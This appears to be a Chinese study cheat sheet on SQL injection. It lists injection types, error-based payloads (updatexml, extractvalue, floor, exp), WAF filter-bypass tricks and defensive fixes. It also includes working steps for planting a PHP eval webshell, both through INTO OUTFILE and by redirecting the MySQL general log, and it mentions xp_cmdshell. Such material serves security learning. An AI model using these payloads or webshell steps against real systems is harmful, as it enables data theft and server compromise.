sql注入知识点汇总

类型

union联合查询注入
布尔盲注
报错注入
时间盲注
堆叠查询注入
二次注入
宽字节注入
base64注入
cookie注入攻击-http请求头参数注入

常用函数

substr(),mid(),limit(),rand(),floor(),concat(),ascii()

常用报错函数

1、floor()函数

union select count(*),concat((查询语句),0x26,floor(rand(0)*2))x from information_schema.columns group by x;

2、updatexml()函数

id=-1 or updatexml(1,concat(0x7e,(select database())),1)

3、extractvalue()函数

id=-1 or extractvalue(1,concat(0x7e,(select database())))

4、exp()函数

id =1 and EXP(~(SELECT * from(select user())a))

获取webshell的方法

1、mysql:使用outfile写入或者开启log日志写入
outfile写入

id=1 union select 1,"<?php @eval($_POST['g']);?>",3 into outfile 'E:/study/WWW/evil.php'

开启log写入

show variables like '%general%';             #查看配置
set global general_log = on;                 #开启general log模式
set global general_log_file = 'E:/study/WWW/evil.php'; #设置日志目录为shell地址
select '<?php eval($_GET[g]);?>'             #写入shell
set global general_log=off;                  #关闭general log模式

前提条件:具有写入文件的权限,知道站点的绝对路径

2、mssql:使用xp-cmdshell执行系统命令

绕过方法

注释符/**/绕过
大小写绕过
内联注释绕过/*! */
双写关键字绕过
编码绕过:16进制编码,ascii编码,unicode编码

空格过滤:使用注释符和括号绕过
引号过滤:使用16进制编码绕过,宽字节绕过
逗号过滤:使用from 或者 offset
select substr(database(),1,1); 等价于 select substr(database() from 1 for 1);
select * from news limit 0,1 等价于 select * from news limit 1 offset 0
=过滤:使用like
<>过滤:使用greatest
ascii(substr(database(),0,1))>64 等价于 greatest(ascii(substr(database(),0,1)),64)=64
过滤函数:
sleep() -->benchmark()
ascii()–>hex()、bin()
group_concat()–>concat_ws()
substr()–>mid()

修复方法

1、使用预编译语句绑定变量
2、对进入数据库的特殊字符(’”\尖括号&*;等)进行转义处理或编码转换。
3、严格限制变量类型
4、最小权限原则,不要以root权限运行数据库

参考文章

https://www.cnblogs.com/joker-vip/p/12698962.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值